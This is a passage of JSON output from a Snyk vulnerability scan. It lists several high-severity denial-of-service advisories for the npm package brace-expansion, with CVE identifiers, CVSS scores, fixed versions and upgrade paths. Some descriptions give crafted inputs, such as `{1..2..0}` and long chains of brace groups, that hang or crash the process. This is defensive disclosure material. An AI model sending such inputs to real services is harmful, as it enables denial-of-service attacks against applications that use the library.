"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
